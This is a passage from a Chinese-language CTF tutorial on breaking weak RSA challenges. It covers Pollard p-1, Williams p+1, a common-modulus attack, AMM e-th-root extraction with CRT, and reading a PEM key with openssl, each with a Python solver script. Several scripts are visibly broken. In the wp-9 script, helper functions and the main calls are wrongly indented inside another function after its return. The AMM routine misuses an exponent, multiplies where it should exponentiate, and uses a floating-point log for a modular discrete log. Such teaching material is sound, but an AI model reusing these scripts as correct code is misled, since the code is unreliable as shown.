n = 210488679270475701976181947365152313699517734264122394812492020724654505220623065289117447808270300405893088216711827935540458944042230307295703758023289811232234667671779565383964487868833609515040373751117785890923111021052281871560758159098018301948230396406718130378740957192704249130990473406094468375190967933383609736557
c = 136071043914570532351840574748667342595827512223368889758030473691165475344493240895540489846178990095609930878050872170334417124306746585253763197947342333489768575699470163018093386136808345465103492262428343569799463896437045282842447134475696863670001725029430508792000363373891006638520238615750531296612676072986388618657
primes = [...]

def pollard(N):
    a = 2
    n = 2
    for p in primes:
        a = powmod(a, p, N)
        p = gcd(a-1, N)
        if p != 1 and p != N:
            return p

p = pollard(n)
q = n // p
m = pow(c, inverse(65537, (p-1)*(q-1)), n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里还需要注意的是，这里我们只遍历了一次便成功分解了，则说明再生成$ p $时没有选取到重复的素因子，如果存在重复的素因子那么我们得到的数可能不会完美的覆盖所有因子，此时则需要增加遍历次数以求覆盖掉所有因子。即上述代表中的遍历需要改成
&lt;code&gt;for p in primes+primes:&lt;/code&gt;
或者更多。总而言之不管题目如何变化，在p-1光滑攻击中我们的目的便是覆盖所有因子即可。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-7&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;完成了P6再看此题你应该能明白该如何解题了，本题属于P+1光滑攻击进阶题目，和上题一样，本题的素因子被限定在了一个给定的集合中。
在之前我们并没有详细的介绍P+1光滑攻击，因为其中引入了扩展卢卡斯序列，涉及许多的引理和推论，故将P+1光滑攻击原理作为扩展资料自行学习。在这里我们稍微理解一下P+1光滑攻击的原理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们将$ p $看作
$$
p = s\left(\prod_{i=1}^{k}{q_i^{\alpha_i}}\right) - 1
$$&lt;/p&gt;
&lt;p&gt;则我们有$ p | U_s(P_m) $，而这里的$ U_s(P_m) $便涉及扩展卢卡斯序列，你会发现其实和$ p-1 $光滑攻击类似，只是$ p-1 $是利用费马小定理得到整除关系，而这里是利用扩展卢卡斯得到整除关系，我们只需要知道它也是和$ p+1 $的每个素因子有关即可。所以我们只需要替换$ p+1 $光滑攻击代码中涉及素因子部分的代码即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from itertools import count
from Crypto.Util.number import *
from gmpy2 import *

n = 345799778173748173773868120733939877012606206055022173086869626920649670201345540822551954372166638650313660302429331346299033954403991966160361903811355684857744142271007451931591141051285664283723609717718163872529480367508508005122335725499745970420634995317589843507796161899995004285340611933981932785753209168028330041659
c = 246232608531423461212845855125527519175008303736088113629990791124779986502745272419907699490375796645611551466345965328844415806242069890639077695943105766009969737068824735226917926112338655266209848386322013506145057902662138167248624945138207215690482597144303445656882230801297916736896978224496017358461492736283036138486
primes = [...]

def mlucas(v, a, n):
    &quot;&quot;&quot; Helper function for williams_pp1().  Multiplies along a Lucas sequence modulo n. &quot;&quot;&quot;
    v1, v2 = v, (v ** 2 - 2) % n
    for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == &quot;0&quot; else (
        (v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
    return v1

def ilog(x, b):  # greatest integer l such that b**l &amp;lt;= x.
    l = 0
    while x &amp;gt;= b:
        x /= b
        l += 1
    return l

def williams(n):
    for v in count(1):
        for p in primes:
            e = ilog(isqrt(n), p)
            if e == 0:
                break
            for _ in range(e):
                v = mlucas(v, p, n)
            g = gcd(v - 2, n)
            if 1 &amp;lt; g &amp;lt; n:
                return int(g), int(n // g)  # g|n
            if g == n:
                break

p, q = williams(n)
m = pow(c, inverse(65537, (p-1)*(q-1)), n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-8&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;很显然这是一道共模攻击进阶题目，不过还是和其他例题一样直接套用模板得到答案，原因还是这里的$ e_1 $和$ e_2 $并不互素，是的本题又和扩展欧几里得有关。
这也是为什么我们大费周章的在前面介绍扩展欧几里得，在本系列课程中，我们会选择性的着重讲解一些&lt;strong&gt;非常非常&lt;/strong&gt;重要的思想和定理，所以如果某个思想或定理我们千百遍不厌其烦的进行提及那么则说明它是你更进一步的必经之路。如果你不能还没有掌握那些则暂时不要好高骛远，应该静下心来潜心学习。而对于其他不是太过重要的内容，例如P+1光滑攻击涉及的扩展卢卡斯，我们不会做过多讲解和介绍，你大可只需知道有这个东西即可，当然若是你自己的学习、研究路线涉及那些内容，你也可以通过我们给出的资料和方向进行研究学习。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回到本题，实际本题和以前很多题一样，我们将$ m^{3e} $看成$ (m^3)^e $即可，这样我们便得到了两个互素的加密指数，再做共模攻击便可以解得$ m^3 $，再进行开方即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 17258060066893213074755453373218306582162826137762311133274776357570753221703880922246758313805944651653670388312409120584883194670296622866672717977722186711567375015117429341498055534372807872455441738225834253639068425012163751145785603722177526607324435641434593514768226599401862097301050185867830575469303960864978407638846270971263106481892520999227504152184478241946941685206875783621912245612463394268401327595737    
e1 = 159897
e2 = 192273
c1 = 4595717262826082372249114022806610849627020753616385658397281529962210282956290111008418210778140550163959636029533312923781864970753502714169965973507425352493857361069899079130259227540344021591878554631845093918021212295485108865566378903346061480239406752062655328184620669486561050933167981474236084817766063901438798437061213111422401822238367462990085699301757131570089105471117732589635966783817714928153442984943    
c2 = 6930904879823636264189052321687613173304614320999504775391013591790100775422558030373964338538540537224825701022993433544854997668153296576460906623734663341340853498020227553815076511099480950225109778895193096753014911735040516576988675988526232648772153671745762684830032445024652478629766700037603250123679920127263565322009118867116958069937438887437206234970465675161823446396025302570020058273271974621280101050077

_, s1, s2 = gcdext(e1, e2)
m = powmod(c1, s1, n) * powmod(c2, s2, n) % n
print(long_to_bytes(iroot(m, 3)[0]))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-9&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;熟悉的套路，不一样的味道，本题我们发现e和phi又不互素，之前我们遇到此类题型时可以分解成因子求解然后再CRT，但是这里我们发现e和每个因子的欧拉值即$ p-1 $和$ q-1 $也不互素，如之奈何？
这里我们便要了解不互素的情况如何开方，即AMM算法
AMM全称为 &lt;code&gt;Adleman-Mander-Miller Method&lt;/code&gt;，原算法只涉及了开平方根的方法，后续在论文&lt;a href=&quot;https://arxiv.org/pdf/1111.4877.pdf&quot;&gt;Adleman-Manders-Miller Root Extraction Method Revisited&lt;/a&gt;补充了开n次方的方法&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们先来考虑平方根，实际上AMM开平方根的思路和Tonelli-Shanks算法一样，这个算法在本系列LCG课程中有介绍，它也是一种开平方根的算法。
对于$ x^2\equiv r\pmod{p} $，则说明$ r $是$ p $的一个二次剩余，令$ p-1 = 2^sq $，我们有
$$
r^{(p-1)/2} \equiv r^{2^{s-1}q} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;关于二次剩余和上式的证明见&lt;a href=&quot;/note/set/7&quot;&gt;Rabin攻击&lt;/a&gt;。
如果这里的$ s=1 $的话，则我们直接有
$$
r^{(p-1)/4} \equiv \pm x\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;是不是在那见过，实际上这就是Rabin里面的开方过程，在Rabin中有$ p\equiv 3\pmod 4 $，即$ p = 3+4k $也就是$ p = 2(1+2k) $，那么也就是$ p-1 = 2q $的情况。对于其他情况两边开根得到
$$
r^{2^{s-2}q} \equiv 1\pmod{p}\
r^{2^{s-2}q} \equiv -1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;因为开根存在俩个结果，所以我们再乘上一个非二次剩余项即迭代过程中的$ n^{2^{s-1}qk} $，这有什么用呢，我们通过控制这项中的$ k $，如果$ k=0 $，则乘上的就是$ n^0=1 $，如果$ k=1 $则$ n^{2^{s-1}q} \equiv -1 $，便可以得到
$$
r^{2^{s-2}q}n^{2^{s-1}qk} \equiv 1\pmod{p}\
$$&lt;/p&gt;
&lt;p&gt;这样便消除了$ -1 $根的影响，我们不断迭代这个过程，直到
$$
r^qn^{q^{k_1+2k_2+\cdots+2^{s-3}k_{s-1}}} \equiv 1 \pmod{p}
$$&lt;/p&gt;
&lt;p&gt;此时乘上$ r $再开平方得到
$$
r^{\frac{q+1}{2}}n^{q^{k_1+2k_2+\cdots+2^{s-3}k_{s-1}}} \equiv \pm x\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;这样我们便得到了$ x $的解，当然$ -x $即$ p-x $也是一个解。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里你可能又会有一个疑惑，在迭代过程中不是有
$$
r^{2^{s-2}q}n^{2^{s-1}qk} \equiv 1\pmod{p}\
$$&lt;/p&gt;
&lt;p&gt;直接这里两边乘$ r $开根不就行了吗？我们可以试试
$$
r^{\frac{2^{s-2}q+1}{2}}n^{2^{s-1}qk} \equiv x\pmod{p}\
$$&lt;/p&gt;
&lt;p&gt;之前我们说了$ 2^sq+1 = p $，现在请考虑$ \frac{2^{s-2}q+1}{2} $是多少，很显然我们无法判断这个数是否存在，例如$ 2^3\cdot 5+1 = 41 $，但$ (2^{3-2}\cdot 5+1)/2 = 11/2 $，而我们所有的运算都是在整数域上的，是不存在小数这个概念的，&lt;strong&gt;所以此时对应的原式实际上是不存在的，因为根本没有这个数，式子只是为了显示我们推演过程中的中间步骤&lt;/strong&gt;，所以我们不知道迭代过程中哪一步能够使得$ \frac{2^{s-i}q+1}{2} $存在，但只要他们满足式子同余1时我们才可以代入乘上$ r $开根计算。
这里还存在一个误区，$ 11/2 $不存在那计算$ 11\cdot 2^{-1} $不就行了，显然这是被之前同余的概念所影响，在进行同余的性质运算时要注意同余的位置，我们现在的计算位置在指数上，若是学习过之前RSA课程的同学应该还记得我们之前讲过指数上和底数同余方程如何等价
即$ a^r_1\equiv a^r_2 \pmod{n} $等价$ r_1\equiv r_2\pmod{\varphi(n)} $，所以这里你要进行同余替换时$ 2^{-1} $是模$ \varphi(p) = p-1 $下的逆元，而显然$ \gcd(2, p-1) = 2 $，所以逆元是不存在的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于任意次方，即$ x^e \equiv r \pmod{p} $，此时分为两组情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;$ \gcd(e, p-1) =1 $&lt;/p&gt;
&lt;p&gt;显然我们每天的RSA都属于这种情况，直接通过求逆元当作RSA解密即可。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$ e | (p-1) $&lt;/p&gt;
&lt;p&gt;令$ p-1 = e^sq $，同时因为$ e $也是$ p $的$ e $-次剩余，所以同理有&lt;/p&gt;
&lt;p&gt;$$
r^{(p-1)/e} \equiv r^{e^{s-1}q} \equiv  1 \pmod{p}
$$&lt;/p&gt;
&lt;p&gt;（高次剩余的性质和二次剩余类似，证明过程也相同，同学可参照二次剩余自行推导）&lt;/p&gt;
&lt;p&gt;同样的我们找到一个数$ \delta $满足$ q | (e\delta - 1) $，此时我们有&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta - 1})^{e^{s-1}} \equiv 1 \pmod{p}
$$&lt;/p&gt;
&lt;p&gt;同样的，如果这里$ s=1 $，我们也直接有&lt;/p&gt;
&lt;p&gt;$$
r^{\delta} \equiv x \pmod{p}
$$&lt;/p&gt;
&lt;p&gt;否则我们再取一个$ e $-次非剩余$ \rho $，即满足$ \rho^{(p-1)/e} \equiv -1\pmod{p} $。&lt;/p&gt;
&lt;p&gt;令集合$ K = {K_0, K_1, \dots, K_{e-1}} $为&lt;/p&gt;
&lt;p&gt;$$
K_i = (\rho^{q})^{ie^{s-1}}
$$&lt;/p&gt;
&lt;p&gt;此时我们直到$ K_i \not= K_j\ (i\not=j) $即互不相等，且&lt;/p&gt;
&lt;p&gt;$$
K_i^e \equiv \rho^{ie^sq} \equiv (\rho^i)^{p-1} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;同时我们还有&lt;/p&gt;
&lt;p&gt;$$
K_iK_{e-i} \equiv K_0^e \equiv 1 \pmod{p}
$$&lt;/p&gt;
&lt;p&gt;其实上述内容如果了解群论中循环群的概念的话非常好理解，因为集合$ K $其实就是一个阶为$ e $的循环群$ \langle(\rho^{q})^{e^{s-1}}\rangle $，当然不了解群论也没关系。后续的内容就类似开平方了，有&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta-1})^{e^{s-1}}\equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;两边开e次根得到集合$ K $中的一个数设为$ K_{e-j} $&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta-1})^{e^{s-2}}\equiv K_{e-j}\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;这里其实就是本方法的重点，也是我们之前为何要构造该集合，在二次中我们开根得到的是$ \pm 1 $，而这里则不同我们直到$ e $次方程便有$ e $个根，那么对于这里的$ (r^{e\delta-1})^{e^{s-1}}\equiv 1\pmod{p} $来说，他们的$ e $个根其实就是刚才我们构造的集合$ {K_i} $，他们都满足$ K_i^e \equiv 1 $，所以开根后的结果便在这个集合之中&lt;/p&gt;
&lt;p&gt;后续的内容其实就很简单了，其实就是根据它的值不断地乘上$ K_j $使得&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta-1})^{e^{s-2}}K_j\equiv K_{e-j}K_{j} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta-1})^{e^{s-2}}(\rho^{q})^{je^{s-1}} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;这样我们就完成了一次降幂，最后我们不断开根相乘，直到我们得到&lt;/p&gt;
&lt;p&gt;$$
(r^{e\delta-1})(\rho^{q})^{j_1e+j_2e^2+\cdots+j_{s-1}e^{s-1}} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;此时我们乘上$ r $再提出e次方开根即&lt;/p&gt;
&lt;p&gt;$$
r^{\delta}(\rho^{q})^{j_1+j_2e+\cdots+j_{s-1}e^{s-2}} \equiv x\pmod{m}
$$&lt;/p&gt;
&lt;p&gt;此时我们便得到了&lt;strong&gt;其中的一个根&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;同样我们还是这里解释一下可能出现的疑惑。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;为什么在二次中开根直接就是$ \pm1 $？&lt;/p&gt;
&lt;p&gt;实际上这是特殊情况，二次中你依然可以构造&lt;/p&gt;
&lt;p&gt;$$
K_i = (\rho^{q})^{i2^{s-1}}\ (i=0,1)
$$&lt;/p&gt;
&lt;p&gt;你会发现结果就是&lt;/p&gt;
&lt;p&gt;$$
K_0 \equiv 1\
K_1 \equiv (\rho^{q})^{2^{s-1}} \equiv -1 \pmod{p}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为什么开根的结果一定在集合$ K $中？&lt;/p&gt;
&lt;p&gt;一种朴素的思想是因为集合$ K $就是所有开根的集合，所以它在里面。&lt;/p&gt;
&lt;p&gt;这里实际上用群论的性质更加严谨，设结果为$ \mu $&lt;/p&gt;
&lt;p&gt;$$
((\rho^{q})^{e^{s-1}})^e \equiv \mu^e \pmod{m}
$$&lt;/p&gt;
&lt;p&gt;所以$ (\rho^{q})^{e^{s-1}} \equiv \mu \pmod{m} $，简而言之这两个生成元是可以互相生成的，所以他们构造的循环群相等。即$ K = \langle\mu\rangle $。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回到题目，我们用了大量的篇幅最终得到了结论就是我们可以对模$ p $意义下进行开任意次根了，那么我们可以把题目转换成
$$
c_p \equiv c \equiv m^e \pmod{p}\
c_q \equiv c \equiv m^e \pmod{q}
$$&lt;/p&gt;
&lt;p&gt;再通过AMM解出
$$
m_p^e\equiv c_p \pmod{p}\
m_q^e\equiv c_q \pmod{q}
$$&lt;/p&gt;
&lt;p&gt;注意之前我们说了，这只是其中的一个根，一共有$ e $组解，所以我们还需要构造其他的解，其实也就是构造这个解的集合，对于$ m_p $来说，我们只需要让其不断乘上集合$ {r_i} $即可，其中满足$ r_i^e\equiv 1\pmod{p} $，即可得到所有解（因为$ (m_pr_i)^e \equiv c_p \pmod{p} $，所以$ m_pr_i $也是一个解）。
最后注意，如果我们的flag足够小的话，则直接可以在$ m_p $或$ m_q $的集合中找到flag，但是本题明显我们的flag是有填充的，所以我们需要再将集合中的所有解，两两做一次CRT，而其中就有一组组合可以得到正确的flag。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
import random
import math

n = 38041020633815871156456469733983765765506895617311762629687651104582466286930269704125415948922860928755218376007606985275046819516740493733602776653724917044661666016759231716059415706703608364873041098478331738686843910748962386378250780017056206432910543374411668835255040201640020726710967482627384460424737495938659004753604600674521079949545966815918391090355556787926276553281009472950401599151788863393804355849499551329
c = 2252456587771662978440183865248648532442503596913181525329434089345680311102588580009450289493044848004270703980243056178363045412903946651952904162045861994915982599488021388197891419171012611795147125799759947942753772847866647801312816514803861011346523945623870123406891646751226481676463538137263366023714001998348605629756519894600802504515051642140147685496526829541501501664072723281466792594858474882239889529245732945
p = 5220649501756432310453173296020153841505609640978826669340282938895377093244978215488158231209243571089268416199675077647719021740691293187913372884975853901554910056350739745148711689601574920977808625399309470283   
q = 7286645200183879820325990521698389973072307061827784645416472106180161656047009812712987400850001340478084529480635891468153462119149259083604029658605921695587836792877281924620444742434168448594010024363257554563
e = 1009

def onemod(e, q):
    p = random.randint(1, q-1)
    while(powmod(p, (q-1)//e, q) == 1):  # (r,s)=1
        p = random.randint(1, q)
    return p

def AMM_rth(o, r, q):  # r|(q-1
    assert((q-1) % r == 0)
    p = onemod(r, q)

    t = 0
    s = q-1
    while(s % r == 0):
        s = s//r
        t += 1
    k = 1
    while((s*k+1) % r != 0):
        k += 1
    alp = (s*k+1)//r

    a = powmod(p, r**(t-1)*s, q)
    b = powmod(o, r*a-1, q)
    c = powmod(p, s, q)
    h = 1

    for i in range(1, t-1):
        d = powmod(int(b), r**(t-1-i), q)
        if d == 1:
            j = 0
        else:
            j = (-math.log(d, a)) % r
        b = (b*(c**(r*j))) % q
        h = (h*c**j) % q
        c = (c*r) % q
    result = (powmod(o, alp, q)*h)
    return result

def ALL_Solution(m, q, rt, cq, e):
    mp = []
    for pr in rt:
        r = (pr*m) % q
        # assert(pow(r, e, q) == cq)
        mp.append(r)
    return mp
    def calc(mp, mq, e, p, q):
      i = 1
      j = 1
      t1 = invert(q, p)
      t2 = invert(p, q)
      for mp1 in mp:
          for mq1 in mq:
              j += 1
              if j % 100000 == 0:
                  print(j)
              ans = (mp1*t1*q+mq1*t2*p) % (p*q)
              if check(ans):
                  return
      return


  def check(m):
      try:
          a = long_to_bytes(m)
          if b&apos;NSSCTF&apos; in a:
              print(a)
              return True
          else:
              return False
      except:
          return False


  def ALL_ROOT2(r, q):  # use function set() and .add() ensure that the generated elements are not repeated
      li = set()
      while(len(li) &amp;lt; r):
          p = powmod(random.randint(1, q-1), (q-1)//r, q)
          li.add(p)
      return li

  cp = c % p
  cq = c % q

  mp = AMM_rth(cp, e, p)  # AMM算法得到一个解
  mq = AMM_rth(cq, e, q)

  rt1 = ALL_ROOT2(e, p)  # 得到所有的ri，即(ri*mp)^e%p = 1
  rt2 = ALL_ROOT2(e, q)

  amp = ALL_Solution(mp, p, rt1, cp, e)  # 得到所有的mp
  amq = ALL_Solution(mq, q, rt2, cq, e)

  calc(amp, amq, e, p, q)  # 俩俩CRT
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其实最终就算暂时不能理解AMM算法的原理也没关系，我们只要了解AMM的核心功能当作黑盒调用也是可以的，不过一定要把exp最后的执行流程搞懂，不然题目稍微改变便写不出exp了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-10&lt;/h1&gt;
&lt;p&gt;本题可以作为对AMM算法的作业题，如果还不能独立完成本题则说明对AMM的掌握仍有欠缺。&lt;/p&gt;
&lt;p&gt;这里我们会发现$ e $和$ q $竟然是不互素，但又不完全满足$ e|(q-1) $，此时我们不能直接套用上题代码，而是要分开处理，对于$ p $来说，我们可以按照上题流程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;AMM算法获得一个根&lt;/li&gt;
&lt;li&gt;获得所有的$ r_i $&lt;/li&gt;
&lt;li&gt;相乘得到所有的根$ m_p $&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但对于$ q $来说，我们需要将$ m^7 $看成一个整体，此时$ 1009|(q-1) $，所以我们可以按照上面思路求得所有的$ m_q^7 $，然后又有$ 7\perp q $，所以可以按照RSA得方式直接解得$ m_q $，当然这个顺序不是必须得，你也可以先解$ e=7 $的RSA解密步骤，再解$ e=1009 $的AMM求根步骤，都没有关系。&lt;/p&gt;
&lt;p&gt;最后我们再将$ m_p $和$ m_q $的集合俩俩做CRT，得到最终的$ m $&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
import random
import math

n = 98950849420612859614279452190318782153029931966597217314273823358984928689736597943774367572478091193816498014404387458350141854427041188032441028722132300155987022405432547244436252627801235200799719531840755071562539171489733346246951714886747673950900290905148318965065773167290984966067642777528454814019184856012497536781760044965489668142694134954466581148235162435617572891367282110999553789319439912296241889469226304877
c = 22561646796929363815984273658718096881828574147472740106912668949512978818367595303883956088667384207835022579136977262135029404640598574466248596921339941958216824486529066880854722372158998556902335323841170236300423638675072077074005797219260622119718558697081430219981494670569821476853158740209737420919480047033900157150865588466910802691118334480300332681763467974691587834295938999022060676767513865584039532912503921584
p = 33918986475509072603988274492338254523919682179700323084167169617716245684540055969194500298976880885466534900490327133434356902533524212744941101469238500990334546197257933040365697281122571898438913033813040027859  
q = 2917270228344219924472221188897798789902618263281810355113281879157575741497356945522168552316357276417700368971563177551494320723579146612010452353273237547587402941227901795977981691403950826343318848831462080703
e = 1009*7

def onemod(e, q):
    p = random.randint(1, q-1)
    while(powmod(p, (q-1)//e, q) == 1):  # (r,s)=1
        p = random.randint(1, q)
    return p

def AMM_rth(o, r, q):  # r|(q-1
    assert((q-1) % r == 0)
    p = onemod(r, q)

    t = 0
    s = q-1
    while(s % r == 0):
        s = s//r
        t += 1
    k = 1
    while((s*k+1) % r != 0):
        k += 1
    alp = (s*k+1)//r

    a = powmod(p, r**(t-1)*s, q)
    b = powmod(o, r*a-1, q)
    c = powmod(p, s, q)
    h = 1

    for i in range(1, t-1):
        d = powmod(int(b), r**(t-1-i), q)
        if d == 1:
            j = 0
        else:
            j = (-math.log(d, a)) % r
        b = (b*(c**(r*j))) % q
        h = (h*c**j) % q
        c = (c*r) % q
    result = (powmod(o, alp, q)*h)
    return result

def ALL_Solution(m, q, rt, cq, e):
    mp = []
    for pr in rt:
        r = (pr*m) % q
        # assert(pow(r, e, q) == cq)
        mp.append(r)
    return mp


def calc(mp, mq, e, p, q):
    i = 1
    j = 1
    t1 = invert(q, p)
    t2 = invert(p, q)
    for mp1 in mp:
        for mq1 in mq:
            j += 1
            if j % 100000 == 0:
                print(j)
            ans = (mp1*t1*q+mq1*t2*p) % (p*q)
            if check(ans):
                return
    return


def check(m):
    try:
        a = long_to_bytes(m)
        if b&apos;NSSCTF&apos; in a:
            print(a)
            return True
        else:
            return False
    except:
        return False


def ALL_ROOT2(r, q):  # use function set() and .add() ensure that the generated elements are not repeated
    li = set()
    while(len(li) &amp;lt; r):
        p = powmod(random.randint(1, q-1), (q-1)//r, q)
        li.add(p)
    return li

cp = c % p
cq = c % q

mp = AMM_rth(cp, e, p)
mq = AMM_rth(cq, 1009, q)

rt1 = ALL_ROOT2(e, p)
rt2 = ALL_ROOT2(1009, q)

amp = ALL_Solution(mp, p, rt1, cp, e)
amq = ALL_Solution(mq, q, rt2, cq, 1009)

d = invert(7, q-1)
mqs = []
for mq in amq:
    mqs.append(pow(mq, d, q))
amq = mqs
calc(amp, amq, e, p, q)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;wp-11&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题我们将来了解关于RSA的证书格式，之前我们所有的题目都是给出具体的数字，然后在这些数字上面做操作，但是在现实世界中不可能直接传输数字来进行操作的，因为这太不稳定了，例如某处出现错误、出现截断、顺序颠倒等等都会导致整个传输过程出现不可查的错误。所以会有统一的格式对这些数字进行封装，而这种封装之后的内容我们就称之为证书。
我们常见的证书有两种格式，一种叫做 &lt;code&gt;PEM&lt;/code&gt;另一种为 &lt;code&gt;DER&lt;/code&gt;，实际上不管使用的是哪种格式，证书的内容最后都是我们那些数字，而且我们可以很轻松的在不同的证书之间进行转换。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;本题给出了一个 &lt;code&gt;.pem&lt;/code&gt;的证书，同时给出了 &lt;code&gt;enc&lt;/code&gt;文件，但是没有给出具体的加密逻辑，此时我们只能先将证书的内容提取出来再做下一步判断。对于这些各类证书，我们都可以使用 &lt;code&gt;openssl&lt;/code&gt;工具进行提取，
直接输入 &lt;code&gt;openssl help&lt;/code&gt;你会发现打印出来了命令列表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Standard commands
asn1parse         ca                ciphers           cms
crl               crl2pkcs7         dgst              dhparam
dsa               dsaparam          ec                ecparam
enc               engine            errstr            gendsa
genpkey           genrsa            help              list
nseq              ocsp              passwd            pkcs12
pkcs7             pkcs8             pkey              pkeyparam
pkeyutl           prime             rand              rehash
req               rsa               rsautl            s_client
s_server          s_time            sess_id           smime
speed             spkac             srp               storeutl
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb
cast5-ofb         des               des-cbc           des-cfb
des-ecb           des-ede           des-ede-cbc       des-ede-cfb
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb
des-ede3-ofb      des-ofb           des3              desx
idea              idea-cbc          idea-cfb          idea-ecb
idea-ofb          rc2               rc2-40-cbc        rc2-64-cbc
rc2-cbc           rc2-cfb           rc2-ecb           rc2-ofb
rc4               rc4-40            seed              seed-cbc
seed-cfb          seed-ecb          seed-ofb          sm4-cbc
sm4-cfb           sm4-ctr           sm4-ecb           sm4-ofb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的每一项都代表特定的算法或者证书格式，而我们这里涉及的是 &lt;code&gt;rsa&lt;/code&gt;，所以我们使用 &lt;code&gt;openssl rsa -help&lt;/code&gt;进一步查看帮助文档&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Usage: rsa [options]
Valid options are:
    -help              Display this summary  查看帮助
    -inform format     Input format, one of DER PEM  指定输入格式
    -outform format    Output format, one of DER PEM PVK  指定输出格式
    -in val            Input file  输入文件
    -out outfile       Output file  输出文件
    -pubin             Expect a public key in input file  期望输入时一个公钥
    -pubout            Output a public key  输出公钥文件
    -passout val       Output file pass phrase source  给输出文件设置密码
    -passin val        Input file pass phrase source  输入文件的密码
    -RSAPublicKey_in   Input is an RSAPublicKey  指定输入是一个RSA公钥
    -RSAPublicKey_out  Output is an RSAPublicKey  指定输出是一个RSA公钥
    -noout             Don&apos;t print key out  不要打印输入的密钥内容
    -text              Print the key in text  用文本格式打印密钥内容
    -modulus           Print the RSA key modulus  打印RSA密钥的模数
    -check             Verify key consistency   检测密钥是否一致
    -*                 Any supported cipher  其他参数
    -pvk-strong        Enable &apos;Strong&apos; PVK encoding level (default)  启用“强”PVK编码级别（默认）
    -pvk-weak          Enable &apos;Weak&apos; PVK encoding level  启用“弱”PVK编码级别
    -pvk-none          Don&apos;t enforce PVK encoding  不强制执行PVK编码
    -engine val        Use engine, possibly a hardware device  指定解析引擎
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里列出了和 &lt;code&gt;rsa&lt;/code&gt;证书有关的项，后面中文内容是我额外添加的释义，那么我们要查看密钥内容的话直接
&lt;code&gt;openssl rsa -in key.pem -inform PEM&lt;/code&gt;
会发现他将密钥内容又打印了一遍，这是因为它默认就是只做解析不会有其他操作，我们需要具体指定我们想要的操作，例如 &lt;code&gt;-text&lt;/code&gt;以文本内容输出参数，
&lt;code&gt;openssl rsa -in key.pem -inform PEM -text&lt;/code&gt;
此时我们得到输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RSA Private-Key: (1023 bit, 2 primes)
modulus:
    70:64:78:79:fa:43:ae:e8:a5:d3:78:57:54:b7:98:
    8d:12:b1:4b:98:cf:39:be:21:b5:d9:0f:3e:32:64:
    e3:16:cf:99:c3:05:8b:89:48:0f:2b:46:a0:ed:a9:
    be:e6:b4:d7:53:19:96:71:ef:17:ba:b4:ec:25:7a:
    ab:e4:5e:7e:b6:f6:68:14:65:97:a0:c9:a0:5d:05:
    23:e7:51:1e:88:52:a7:6e:aa:92:e8:1d:16:af:ac:
    7a:f5:22:42:3a:a0:09:83:11:0c:e2:d6:50:99:d3:
